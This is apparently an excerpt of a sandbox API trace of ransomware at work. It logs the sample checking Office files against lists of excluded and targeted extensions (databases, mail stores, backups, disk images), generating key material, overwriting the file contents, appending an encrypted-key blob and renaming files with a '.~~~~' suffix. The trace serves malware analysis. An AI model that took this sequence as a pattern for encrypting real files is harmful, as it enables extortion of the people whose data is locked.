	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dbf") returned 0x0
	[0138.620] lstrlenW (lpString=".SQL") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".SQL") returned 0x0
	[0138.620] lstrlenW (lpString=".pst") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".pst") returned 0x0
	[0138.620] lstrlenW (lpString=".dbv") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dbv") returned 0x0
	[0138.620] lstrlenW (lpString=".SDF") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".SDF") returned 0x0
	[0138.620] lstrlenW (lpString=".dtxs") returned 5
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dtxs") returned 0x0
	[0138.620] lstrlenW (lpString=".db3") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".db3") returned 0x0
	[0138.621] lstrlenW (lpString=".OST") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".OST") returned 0x0
	[0138.621] lstrlenW (lpString=".dbx") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dbx") returned 0x0
	[0138.621] lstrlenW (lpString=".DB3") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DB3") returned 0x0
	[0138.621] lstrlenW (lpString=".DAT") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DAT") returned 0x0
	[0138.621] lstrlenW (lpString=".VHDX") returned 5
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".VHDX") returned 0x0
	[0138.621] lstrlenW (lpString=".ndf") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".ndf") returned 0x0
	[0138.621] lstrlenW (lpString=".DB") returned 3
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DB") returned 0x0
	[0138.621] lstrlenW (lpString=".sql") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".sql") returned 0x0
	[0138.621] lstrlenW (lpString=".MYD") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".MYD") returned 0x0
	[0138.621] lstrlenW (lpString=".DBT") returned 4
	[0138.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DBT") returned 0x0
	[0138.622] lstrlenW (lpString=".ACCDB") returned 6
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.622] lstrlenW (lpString=".fdb") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".fdb") returned 0x0
	[0138.622] lstrlenW (lpString=".bak") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".bak") returned 0x0
	[0138.622] lstrlenW (lpString=".myd") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".myd") returned 0x0
	[0138.622] lstrlenW (lpString=".DTXS") returned 5
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DTXS") returned 0x0
	[0138.622] lstrlenW (lpString=".ckp") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".ckp") returned 0x0
	[0138.622] lstrlenW (lpString=".dbt") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dbt") returned 0x0
	[0138.622] lstrlenW (lpString=".db") returned 3
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".db") returned 0x0
	[0138.622] lstrlenW (lpString=".TXT") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".TXT") returned 0x0
	[0138.622] lstrlenW (lpString=".MDF") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".MDF") returned 0x0
	[0138.622] lstrlenW (lpString=".bdb") returned 4
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".bdb") returned 0x0
	[0138.622] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0138.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.623] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0138.624] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.624] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0138.625] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25861495896) returned 1
	[0138.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbc0c97f0, dwHighDateTime=0x1d60e1e)) 
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825c50
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c50 | out: hHeap=0x300000) returned 1
	[0138.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a628
	[0138.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a628 | out: hHeap=0x300000) returned 1
	[0138.626] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0138.626] GetLastError () returned 0x0
	[0138.627] GetLastError () returned 0x0
	[0138.627] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0138.627] GetLastError () returned 0x0
	[0138.627] GetLastError () returned 0x0
	[0138.627] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.697] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.697] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.698] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.698] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.698] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.698] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.698] CloseHandle (hObject=0xc4) returned 1
	[0138.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0138.699] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css.~~~~")) returned 1
	[0138.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0138.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.882] GetLastError () returned 0x0
	[0138.882] RtlWakeConditionVariable () returned 0x0
	[0138.882] GetCurrentThreadId () returned 0x9f4
	[0138.882] GetCurrentThreadId () returned 0x9f4
	[0138.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0138.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399b00 | out: hHeap=0x300000) returned 1
	[0138.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825e48 | out: hHeap=0x300000) returned 1
	[0138.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399b00
	[0138.882] lstrlenW (lpString=".scr") returned 4
	[0138.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".scr") returned 0x0
	[0138.883] lstrlenW (lpString=".cmd") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".cmd") returned 0x0
	[0138.883] lstrlenW (lpString=".dll") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dll") returned 0x0
	[0138.883] lstrlenW (lpString=".bat") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".bat") returned 0x0
	[0138.883] lstrlenW (lpString=".cpl") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".cpl") returned 0x0
	[0138.883] lstrlenW (lpString=".sys") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".sys") returned 0x0
	[0138.883] lstrlenW (lpString=".msc") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".msc") returned 0x0
	[0138.883] lstrlenW (lpString=".com") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".com") returned 0x0
	[0138.883] lstrlenW (lpString=".lnk") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".lnk") returned 0x0
	[0138.883] lstrlenW (lpString=".msp") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".msp") returned 0x0
	[0138.883] lstrlenW (lpString=".pif") returned 4
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".pif") returned 0x0
	[0138.883] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0139.687] lstrlenW (lpString=".sqb") returned 4
	[0139.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".sqb") returned 0x0
	[0139.687] lstrlenW (lpString=".ost") returned 4
	[0139.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".ost") returned 0x0
	[0139.687] lstrlenW (lpString=".txt") returned 4
	[0139.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".txt") returned 0x0
	[0139.687] lstrlenW (lpString=".mdt") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".mdt") returned 0x0
	[0139.705] lstrlenW (lpString=".BDB") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".BDB") returned 0x0
	[0139.705] lstrlenW (lpString=".eql") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".eql") returned 0x0
	[0139.705] lstrlenW (lpString=".DBF") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DBF") returned 0x0
	[0139.705] lstrlenW (lpString=".EQL") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".EQL") returned 0x0
	[0139.705] lstrlenW (lpString=".FDB") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".FDB") returned 0x0
	[0139.705] lstrlenW (lpString=".EDB") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".EDB") returned 0x0
	[0139.705] lstrlenW (lpString=".DACPAC") returned 7
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.705] lstrlenW (lpString=".VHD") returned 4
	[0139.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".VHD") returned 0x0
	[0139.705] lstrlenW (lpString=".DBV") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DBV") returned 0x0
	[0139.706] lstrlenW (lpString=".dacpac") returned 7
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dacpac") returned 0x0
	[0139.706] lstrlenW (lpString=".sdf") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".sdf") returned 0x0
	[0139.706] lstrlenW (lpString=".accdb") returned 6
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".accdb") returned 0x0
	[0139.706] lstrlenW (lpString=".DBX") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DBX") returned 0x0
	[0139.706] lstrlenW (lpString=".MDT") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".MDT") returned 0x0
	[0139.706] lstrlenW (lpString=".SQB") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".SQB") returned 0x0
	[0139.706] lstrlenW (lpString=".vhd") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".vhd") returned 0x0
	[0139.706] lstrlenW (lpString=".bac") returned 4
	[0139.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".bac") returned 0x0
	[0139.707] lstrlenW (lpString=".mdf") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".mdf") returned 0x0
	[0139.707] lstrlenW (lpString=".BAK") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".BAK") returned 0x0
	[0139.707] lstrlenW (lpString=".BAC") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".BAC") returned 0x0
	[0139.707] lstrlenW (lpString=".dbs") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dbs") returned 0x0
	[0139.707] lstrlenW (lpString=".vhdx") returned 5
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".vhdx") returned 0x0
	[0139.707] lstrlenW (lpString=".NDF") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".NDF") returned 0x0
	[0139.707] lstrlenW (lpString=".dat") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dat") returned 0x0
	[0139.707] lstrlenW (lpString=".DBS") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DBS") returned 0x0
	[0139.707] lstrlenW (lpString=".CKP") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".CKP") returned 0x0
	[0139.707] lstrlenW (lpString=".edb") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".edb") returned 0x0
	[0139.707] lstrlenW (lpString=".PST") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".PST") returned 0x0
	[0139.707] lstrlenW (lpString=".dbf") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dbf") returned 0x0
	[0139.707] lstrlenW (lpString=".SQL") returned 4
	[0139.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".SQL") returned 0x0
	[0139.708] lstrlenW (lpString=".pst") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".pst") returned 0x0
	[0139.708] lstrlenW (lpString=".dbv") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dbv") returned 0x0
	[0139.708] lstrlenW (lpString=".SDF") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".SDF") returned 0x0
	[0139.708] lstrlenW (lpString=".dtxs") returned 5
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dtxs") returned 0x0
	[0139.708] lstrlenW (lpString=".db3") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".db3") returned 0x0
	[0139.708] lstrlenW (lpString=".OST") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".OST") returned 0x0
	[0139.708] lstrlenW (lpString=".dbx") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".dbx") returned 0x0
	[0139.708] lstrlenW (lpString=".DB3") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DB3") returned 0x0
	[0139.708] lstrlenW (lpString=".DAT") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DAT") returned 0x0
	[0139.708] lstrlenW (lpString=".VHDX") returned 5
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".VHDX") returned 0x0
	[0139.708] lstrlenW (lpString=".ndf") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".ndf") returned 0x0
	[0139.708] lstrlenW (lpString=".DB") returned 3
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DB") returned 0x0
	[0139.708] lstrlenW (lpString=".sql") returned 4
	[0139.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".sql") returned 0x0
	[0139.708] lstrlenW (lpString=".MYD") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".MYD") returned 0x0
	[0139.709] lstrlenW (lpString=".DBT") returned 4
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".DBT") returned 0x0
	[0139.709] lstrlenW (lpString=".ACCDB") returned 6
	[0139.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.709] lstrlenW (lpString=".fdb") returned 4
